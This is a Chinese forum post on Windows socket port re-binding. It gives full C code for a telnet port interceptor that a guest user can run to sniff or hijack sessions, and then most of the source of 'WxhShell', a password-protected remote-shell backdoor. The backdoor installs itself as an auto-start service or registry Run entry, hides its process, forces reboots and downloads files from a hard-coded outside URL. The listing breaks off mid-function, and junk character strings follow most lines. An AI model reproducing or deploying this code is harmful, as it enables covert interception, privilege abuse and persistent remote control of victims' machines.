社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16269阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5 R*lVUix  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 93I'cWN  
55hyV{L%  
  saddr.sin_family = AF_INET; GOW"o"S  
p`GWhI?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ek[kq[U9  
Igjr~@ #  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~|R[O^9B  
>I-g[*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S\|^ULrH  
 E&%jeR  
  这意味着什么?意味着可以进行如下的攻击: a9[<^  
~JE|f 7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 79z)C35~  
b5Q8pWZg,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dYyW]nZ&  
99KVtgPm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [EGx  
!BRcq~-.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @*_ZoO7{  
& zgPN8u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _[1^s$  
kV 1vb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QV/";A3k  
d +xA:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,xj3w#`zaf  
vfXJYw+6_  
  #include n{{ P 3f  
  #include cDO:'-  
  #include C|$L6n>DR6  
  #include    /:Y9sz uW`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tE:X,Lt[  
  int main() vpafru4  
  { O!] ;_q/  
  WORD wVersionRequested; ss; 5C:*y  
  DWORD ret; P/`m3aSzX.  
  WSADATA wsaData; "!a`ygqpT  
  BOOL val; +@>:%yX  
  SOCKADDR_IN saddr; M1(9A>|nF  
  SOCKADDR_IN scaddr; 0h:G4  
  int err; K6(.KEW  
  SOCKET s; qwP$~Bj  
  SOCKET sc; &>V/X{>$`K  
  int caddsize; 2C{/`N  
  HANDLE mt; (0g7-Ci  
  DWORD tid;   hpjUkGm5  
  wVersionRequested = MAKEWORD( 2, 2 ); <p)Z/  
  err = WSAStartup( wVersionRequested, &wsaData ); lO_c/o$  
  if ( err != 0 ) { :Q=z=`*2w  
  printf("error!WSAStartup failed!\n"); UnjNR[=  
  return -1; C1D ! V:  
  } {WKOJG+.  
  saddr.sin_family = AF_INET; I <xy?{s  
   qM*S*,s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .d e  
IW]*i?L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YJc%h@_=]  
  saddr.sin_port = htons(23); '&)D>@g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QnP{$rT  
  { I)rGOda{  
  printf("error!socket failed!\n"); 3XGB+$]C  
  return -1; r!~(R+,c  
  } u&tFb]1@)  
  val = TRUE; +:!ScG*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~xE=mg4le  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N)P((>S;  
  { a! ?.F_T9A  
  printf("error!setsockopt failed!\n"); K@*rVor{  
  return -1; +Tp%5+E  
  } n_u`B|^Pj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j,4,zA1j|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W8x[3,gT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v#-E~;C cC  
@?Fx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [='p!7 z  
  { aSTFcz"  
  ret=GetLastError(); Ny B&uf  
  printf("error!bind failed!\n"); y]J3h Ks  
  return -1; hMz&JJ&B  
  } ) (+)Q'*  
  listen(s,2); }R`Irxv4  
  while(1) 2H3(HZv  
  { K Ka c6Zj  
  caddsize = sizeof(scaddr); ^A- sS~w  
  //接受连接请求 ^ ~, ndH{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BL0 |\&*1  
  if(sc!=INVALID_SOCKET) 2J)74SeH  
  { /<6ywLD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K`~BL=KI  
  if(mt==NULL) jjX'_E  
  { 3y/1!A3  
  printf("Thread Creat Failed!\n"); 9E^~#j@Zr  
  break; {vLTeIxf.G  
  } rv`2*B  
  } z^gi[ mi  
  CloseHandle(mt); yS+ (<  
  } ^g-Fg>&M  
  closesocket(s); C(xqvK~p  
  WSACleanup(); =zz+<!!  
  return 0; d b<q-u  
  }   (eki X*y  
  DWORD WINAPI ClientThread(LPVOID lpParam) >H)^6sJ;%b  
  { {zY`h6d  
  SOCKET ss = (SOCKET)lpParam; @T5YsX]qb7  
  SOCKET sc; sE-x"c  
  unsigned char buf[4096]; xcw%RUC-  
  SOCKADDR_IN saddr; 9^(HXH_f  
  long num; Y:rJK|m  
  DWORD val; NoJUx['6  
  DWORD ret; I Jqv w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 692Rw}/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &3WkH W   
  saddr.sin_family = AF_INET; Mp^^!AP9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -g9^0V`G  
  saddr.sin_port = htons(23); mMV2h|W   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dFx2>6AZt  
  { f V*}c`  
  printf("error!socket failed!\n"); Go-wAJ>  
  return -1; Y+!Ouc!$  
  } wH+FFXGJs  
  val = 100; 4=~ 9v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W)|c[Q\  
  { t3pZjdLJd  
  ret = GetLastError(); HE*7\"9  
  return -1; (QhG xuC  
  } .V8/ELr]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C:rRK*  
  { YW'{|9KnI  
  ret = GetLastError(); t'dHCp}  
  return -1; #-}kG"  
  } WC3W+v G7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &fCP2]hj'  
  { S@9w'upd  
  printf("error!socket connect failed!\n"); iJ,M-GHK  
  closesocket(sc); hyJ ded&D  
  closesocket(ss); >_&~!Y.Z=  
  return -1; O~${&(  
  } P/C&R-{')  
  while(1) S&5Q~}{,  
  { mfu*o0   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g8LT7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 di"C]" ;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tld1P69(  
  num = recv(ss,buf,4096,0); P{"  WlJ  
  if(num>0) fEHh]%GT`  
  send(sc,buf,num,0); &7$,<9.  
  else if(num==0) .=>\Qq%  
  break; yJF 2  
  num = recv(sc,buf,4096,0); IRlN++I!  
  if(num>0) 6e-#XCR{  
  send(ss,buf,num,0); $dlnmNP+  
  else if(num==0) {9h`$e=  
  break; JX2mTQ  
  } Fl B, (Cm  
  closesocket(ss); )w Z49>Y  
  closesocket(sc); Y8D7<V~Md  
  return 0 ; p.@0=)  
  } uo]Hi^r.l  
S9 $o  
jN31\)/i  
========================================================== =''mpIg(  
nu#aa#ex>  
下边附上一个代码,,WXhSHELL <P+G7!KZ&  
0\? _ lT2  
========================================================== Aqa6R+c  
'q{PtYr  
#include "stdafx.h" >(IITt  
}%-UL{3%  
#include <stdio.h> ]cx"  
#include <string.h> /d{glOk  
#include <windows.h> ^^n +  
#include <winsock2.h> =#OHxM  
#include <winsvc.h> jz{(q;  
#include <urlmon.h> M,.b`1-w  
jz|Wj  
#pragma comment (lib, "Ws2_32.lib") ybD{4&ZE  
#pragma comment (lib, "urlmon.lib") l4iuu  
W2}%zux  
#define MAX_USER   100 // 最大客户端连接数 08zi/g2 3  
#define BUF_SOCK   200 // sock buffer @/CRIei  
#define KEY_BUFF   255 // 输入 buffer C_;HaQiu  
<{$ ev&bQ  
#define REBOOT     0   // 重启 2>!_B\%)H  
#define SHUTDOWN   1   // 关机 #g@  
4(` 2#  
#define DEF_PORT   5000 // 监听端口 9X 5*{f Y  
a/`c ef  
#define REG_LEN     16   // 注册表键长度 j~+[uzW98  
#define SVC_LEN     80   // NT服务名长度 ?R|fS*e2EB  
Z-N-9E  
// 从dll定义API $w|o@ Ml)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mtSNl|O&{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y&?|k'7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UI|v/(_^F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 03X<x|  
DePV,.  
// wxhshell配置信息 MILIu;[{#r  
struct WSCFG { z5x ,fQw6O  
  int ws_port;         // 监听端口 X@6zI-Y %  
  char ws_passstr[REG_LEN]; // 口令 X% Spv/8{  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^tm++  
  char ws_regname[REG_LEN]; // 注册表键名 >$7wA9YhL  
  char ws_svcname[REG_LEN]; // 服务名 -D!#W%y8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J>HLQP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ck ~V5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t] n(5!L(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y0/jH2n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '_q: vjX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Vdb?  
@D.R0uM  
}; ?RgU6/2  
pr0@sri@  
// default Wxhshell configuration c[wQJc  
struct WSCFG wscfg={DEF_PORT, #,f}lV,&  
    "xuhuanlingzhe", * kX3sG$8  
    1, |@o]X?^  
    "Wxhshell", 6Nfof  
    "Wxhshell", rK(x4]I l"  
            "WxhShell Service", 8w{#R{w  
    "Wrsky Windows CmdShell Service", xm%[}Dt]  
    "Please Input Your Password: ", TEaD-mY3  
  1, -4*'WzWr  
  "http://www.wrsky.com/wxhshell.exe", s=^r/Sz902  
  "Wxhshell.exe" u^#4G7<  
    }; :GwSs'$O  
;kyL>mV{  
// 消息定义模块 }S~ysQwT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9#Aipu\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aBqe+FXp4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s T :tFK\  
char *msg_ws_ext="\n\rExit."; GL;x:2XA  
char *msg_ws_end="\n\rQuit."; &;6|nl9;  
char *msg_ws_boot="\n\rReboot..."; |d/x~t=  
char *msg_ws_poff="\n\rShutdown..."; *j_fG$10g  
char *msg_ws_down="\n\rSave to "; 2FZ 0c/[&  
LyJTK1]#  
char *msg_ws_err="\n\rErr!"; <B ]i80.  
char *msg_ws_ok="\n\rOK!"; Dyouk+08x  
1jUhG2y  
char ExeFile[MAX_PATH]; rZ8Y=) e  
int nUser = 0; (n":] 8}  
HANDLE handles[MAX_USER]; WuP([8  
int OsIsNt; X/`#5<x  
:/yr(V{  
SERVICE_STATUS       serviceStatus; [6,]9|~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J'G`=m"-'  
.R$+#_  
// 函数声明 s0XRL1kWr  
int Install(void); .T#y N\S1  
int Uninstall(void); #q~3c;ec  
int DownloadFile(char *sURL, SOCKET wsh); *!r\GGb  
int Boot(int flag); :Fi%Cef|  
void HideProc(void); \J,- <wF  
int GetOsVer(void); h30QCk  
int Wxhshell(SOCKET wsl); h9Tf@]W   
void TalkWithClient(void *cs); Y2=Brtc[@  
int CmdShell(SOCKET sock); Oi kU$~|  
int StartFromService(void); jM3Y|}+  
int StartWxhshell(LPSTR lpCmdLine); !_XU^A>  
 \pewbu5^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #FQm/Q<0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eZR8<Z %  
>?G|Yz*kEJ  
// 数据结构和表定义 F653[[eQ  
SERVICE_TABLE_ENTRY DispatchTable[] = N#pl mPrZ  
{ P xP?hk  
{wscfg.ws_svcname, NTServiceMain}, rx}ujjx  
{NULL, NULL} N1s $3Ul  
}; \4\\575zp'  
fncwe ';?  
// 自我安装 d}wa[WRv   
int Install(void) =& Tu`m  
{ 6uCk0 B|  
  char svExeFile[MAX_PATH]; BqLtTo?'  
  HKEY key; "x:)$@  
  strcpy(svExeFile,ExeFile); o/  x5  
wQdW lon  
// 如果是win9x系统,修改注册表设为自启动 !ulLGmUn  
if(!OsIsNt) { 5|6z1{g8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ."!8B9 s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VJ6>3  
  RegCloseKey(key); k[r./xEv+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !dbA (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^EuyvftZ  
  RegCloseKey(key); RK~FT/  
  return 0; shDt&_n  
    } HjUw[Yz+6  
  } JR a*;_  
} (}~eD  
else { wCq)w=,  
nIT^'  
// 如果是NT以上系统,安装为系统服务 Kc9mI>uH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4ye`;hXy  
if (schSCManager!=0) 3h D2C'KD  
{  &aevR^f+  
  SC_HANDLE schService = CreateService 1VjeP *  
  ( qh)!|B  
  schSCManager, -9H!j4]T?  
  wscfg.ws_svcname, Ghq'k:K,  
  wscfg.ws_svcdisp, uG(~m_7Hx  
  SERVICE_ALL_ACCESS, =qS^Wz.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /ie3H,2  
  SERVICE_AUTO_START, LKqog%,c  
  SERVICE_ERROR_NORMAL, 'a-5 U TT  
  svExeFile, *nsnX/e(-  
  NULL, pZ_FVID  
  NULL, LKf5r,C  
  NULL, !aW*dD61  
  NULL, %8} ksl07  
  NULL 7u`}t83a  
  ); #hE3~+ i  
  if (schService!=0) o$blPTN  
  { L>5!3b=b  
  CloseServiceHandle(schService); /[0 /8f6  
  CloseServiceHandle(schSCManager); u'~b<@wHB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >uPde5"ZF-  
  strcat(svExeFile,wscfg.ws_svcname); Za:BJ:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4na4Jsq{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vU$O{|J  
  RegCloseKey(key); qs c-e,rl  
  return 0; B'gk/^6$eg  
    } ~gi( 1<#  
  } L$TKO,T  
  CloseServiceHandle(schSCManager); >e$^# \D  
} h4B#T'b  
} TNFm7}=  
F&L?J_=  
return 1; { Sliy'  
} 602eLV)  
xZ @O"*{  
// 自我卸载 zIYr0k*%  
int Uninstall(void) ANpY qV  
{ WlQ&Yau  
  HKEY key; ^$Eiz.  
=iK6/ y`  
if(!OsIsNt) { GaK_9Eg-2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,~N+?k_  
  RegDeleteValue(key,wscfg.ws_regname); [;CqvD<S  
  RegCloseKey(key); 0Li'a{n2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;DgX"Uzm  
  RegDeleteValue(key,wscfg.ws_regname); v/TlXxfil  
  RegCloseKey(key); ik:)-GV;s  
  return 0; 3~3(G[w  
  } L%s4snE  
} D 917[ <$  
} pXT$Y8M  
else {  0[!gk]p  
In9|n^=H@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jVFRqT%  
if (schSCManager!=0) HH~  du  
{ @#--dOWYR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ye=7Y57Nr  
  if (schService!=0) hzPB~obC  
  { u FYQ^  
  if(DeleteService(schService)!=0) { #<i> <EG  
  CloseServiceHandle(schService); .McoW7|Y  
  CloseServiceHandle(schSCManager); I`$I0  
  return 0; hIO4%RQj_  
  } vzrD"  
  CloseServiceHandle(schService); #&2N,M!Q  
  } sv{0XVn+^  
  CloseServiceHandle(schSCManager); ^Lv ^W  
} %J ( }D7-,  
} b}U&bFl  
9Or4`JOO  
return 1; GwpBDM k  
} g d}TTe  
|8U7C\S[  
// 从指定url下载文件 Hv7D+ j8M  
int DownloadFile(char *sURL, SOCKET wsh) h,6S$,UI  
{ >RqT7n8h  
  HRESULT hr; y:[VRLo  
char seps[]= "/"; ZNC?Ntw  
char *token; /2\= sTd  
char *file; nIqY}??  
char myURL[MAX_PATH]; ttq< )4  
char myFILE[MAX_PATH]; -^xKG'uth  
J!fc)h  
strcpy(myURL,sURL); =#")G1A  
  token=strtok(myURL,seps); 19-yM`O  
  while(token!=NULL) &Cpxo9-  
  { -MW(={#   
    file=token; Y./}zCT  
  token=strtok(NULL,seps); RdVis|7o  
  } K\E]X\:  
4C9"Q,o%&  
GetCurrentDirectory(MAX_PATH,myFILE); R6@~   
strcat(myFILE, "\\"); a~eLkWnh<k  
strcat(myFILE, file); @?cXa: tX  
  send(wsh,myFILE,strlen(myFILE),0); b= ec?n #7  
send(wsh,"...",3,0); :2Rci`lp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8J?`_  
  if(hr==S_OK) X-r,>o:  
return 0; !#4HGjPI  
else kR~4O$riG  
return 1; mF:s-+  
ABe^]HlH  
} !2M[  
{ugKv?e ;  
// 系统电源模块 ihY^~  
int Boot(int flag) f5qHBQ  
{ ~rJw$v  
  HANDLE hToken; otH[?c?BT  
  TOKEN_PRIVILEGES tkp; 1z@# 8_@  
U1!2nJ]  
  if(OsIsNt) { 7 8inh%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eh7r'DmAR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yr 9)ga%  
    tkp.PrivilegeCount = 1; ="[](X^ l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `k%#0E*H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kt0{-\ p  
if(flag==REBOOT) { L.%~?T[F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~+iJpW  
  return 0; PEn^.v@  
} R^kv!x;h  
else { *P\_:>bV(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {s'_zS z  
  return 0;  p6l@O3  
} TvG:T{jwy  
  } gsm^{jB  
  else { )MW}!U9G  
if(flag==REBOOT) { }' 0Xz9/ l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,u^0V"hJ  
  return 0; #|1QA3KzO  
} =y]b|"s~2  
else { R9-JjG2v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eh/OCzWH  
  return 0; ]S aH/$  
} k3.p@8@:  
} T9<nD"=:  
Zy3&Zt  
return 1; 4lf36K ,  
} m7eIhmP  
$D\l%y/C  
// win9x进程隐藏模块 x,G6`|Hl  
void HideProc(void) :.<TWBoV  
{ eo52X &I  
gWH9=%!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LU7)F,ok  
  if ( hKernel != NULL ) A.x}%v,E  
  { v]SE?xF{U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6$<o^Ha*R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,fJ(.KI0  
    FreeLibrary(hKernel); WB [G!'  
  } YaT+BRh?  
ko>O ~@r  
return; mKn357:  
} F1*rUsRKN  
#TwE??ms  
// 获取操作系统版本 ]3u'Qv}o  
int GetOsVer(void) RW^v{'o  
{ CuO*>g^K[  
  OSVERSIONINFO winfo; UKQ&TV}0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?q}wl\"8  
  GetVersionEx(&winfo); 3Wxtxk._E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _rVX_   
  return 1; < LAD  
  else LVl0:!>~  
  return 0; QLU; .&  
} !Jn w_)  
X0QS/S-+  
// 客户端句柄模块 Ck%(G22-  
int Wxhshell(SOCKET wsl) D\*_ulc]  
{ >Io7h#[u  
  SOCKET wsh; xxcDd_z  
  struct sockaddr_in client; HMd)64(  
  DWORD myID; cP=mJ1  
wSF#;lqd  
  while(nUser<MAX_USER) j6(IF5MqP  
{ wO)KQ~yX  
  int nSize=sizeof(client); l:,UN07s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B{(l 5B6  
  if(wsh==INVALID_SOCKET) return 1; x i,wL0{  
,O{ 5   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2e@\6l,!^  
if(handles[nUser]==0) H).5xx[`  
  closesocket(wsh); ;iNx@tz4  
else pv SFp-:_  
  nUser++; o`! :Q!+  
  } Fe< t@W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JlGD.!`  
gF5EtdN?|  
  return 0; V46[whL%r  
} &7u Ra1/R  
# h|< >  
// 关闭 socket \9zC?Cw  
void CloseIt(SOCKET wsh) yP]W\W'  
{ U2nRgd  
closesocket(wsh); tSa%ZkS  
nUser--; x99 Oq!  
ExitThread(0); ^V]DY!@k3_  
} k T>}(G||  
:E`l(sI7J}  
// 客户端请求句柄 h l'k_<a*  
void TalkWithClient(void *cs) 6ng g*kE<  
{ j&GKpt  
K): sq{  
  SOCKET wsh=(SOCKET)cs; :#jv4N  
  char pwd[SVC_LEN]; .cog9H'  
  char cmd[KEY_BUFF]; 'p]qN;`'O$  
char chr[1]; 0\*<k`dY  
int i,j; %$ ?Q%  
]%hI-  
  while (nUser < MAX_USER) { vUeel%  
xTm&`Xo  
if(wscfg.ws_passstr) { u5M{s;{11r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ofCP>Z-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N6%q%7F.:  
  //ZeroMemory(pwd,KEY_BUFF); 4 jro4B`  
      i=0; |JQKxvjT  
  while(i<SVC_LEN) { &r!>2$B\  
/*HSAjv  
  // 设置超时 (9|K}IM:  
  fd_set FdRead; boovCW  
  struct timeval TimeOut; S @($c'  
  FD_ZERO(&FdRead); yo6IY  
  FD_SET(wsh,&FdRead); 7}.(EZ0  
  TimeOut.tv_sec=8; YWFHiB7x  
  TimeOut.tv_usec=0; f+AIxSw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2GS2,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0M-AIQ5  
[~S0b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _lqAxWH  
  pwd=chr[0]; <sOB j'  
  if(chr[0]==0xd || chr[0]==0xa) { <P- r)=^  
  pwd=0; K\Q 1/})  
  break; j,jUg}b  
  } f` J"A:  
  i++; -.{7;6:(k  
    } ,CF~UX% bU  
^KR(p!%  
  // 如果是非法用户,关闭 socket p?nVPTh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u\?u}t v  
} 1sA-BQL  
bNgcZ V.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9z}kkYk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ond/e&1  
iJeT+}  
while(1) { }clNXtN  
5]+eLKXB  
  ZeroMemory(cmd,KEY_BUFF); ,fFJSY^  
*CSFkWVa  
      // 自动支持客户端 telnet标准   GssoT<Y)Z  
  j=0; cG6+'=]3<  
  while(j<KEY_BUFF) { PeaD]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~<LI p%5(  
  cmd[j]=chr[0]; b\mN^P~>A  
  if(chr[0]==0xa || chr[0]==0xd) { pUx@QyrI  
  cmd[j]=0; AWcP OU  
  break; #*@Yil=1  
  } '"a8<7  
  j++; G>"[nXmcu  
    } <o}t-Bgg  
*L_wRhhk  
  // 下载文件 '#?hm-Ga  
  if(strstr(cmd,"http://")) { ERplDSfO-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ye\%o[X  
  if(DownloadFile(cmd,wsh)) 0"Hf6xz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (aLnbJeJ  
  else 3:S"!F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); up6LO7drW/  
  } 9AaixI  
  else { cvt2P}ma#  
_G`aI*rKsy  
    switch(cmd[0]) { ?jnEHn  
  x g@;d  
  // 帮助 .w&Z=YM  
  case '?': { ?##GY;#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k9 E ?5  
    break; ruVm8 BO  
  } K\PS$  
  // 安装 x($1pAE  
  case 'i': { ( ;q$cKy  
    if(Install()) '_8Vay~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +8"H%#~  
    else h#>67gJV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JaEyVe  
    break; ~QXNOtVsN  
    } l8Ox]%F  
  // 卸载 p /:L;5F  
  case 'r': { ;2^=#7I?  
    if(Uninstall()) ;(A'XA4 6N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <?eZ9eB  
    else 4*]`s|fbu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;lldxS  
    break; >:Ec   
    } -J:vYhq|g  
  // 显示 wxhshell 所在路径 &o(? }W  
  case 'p': { %3cBh v[q4  
    char svExeFile[MAX_PATH]; :iJ= 9  
    strcpy(svExeFile,"\n\r"); <W1!n$V ]  
      strcat(svExeFile,ExeFile); hH~Z hB  
        send(wsh,svExeFile,strlen(svExeFile),0); 7)YU ;  
    break; EC7o 3LoND  
    } \y=,=;yv  
  // 重启 e_e|t>nQ  
  case 'b': { mGX;JOjZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 59LIK&w  
    if(Boot(REBOOT)) &'Ch[Wo]H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XyhdsH5%3!  
    else { ~lMsD~$sO  
    closesocket(wsh); rYT3oqpfT  
    ExitThread(0); ]yyfE7{q  
    } Y,9("'bo  
    break; G{:L^2>  
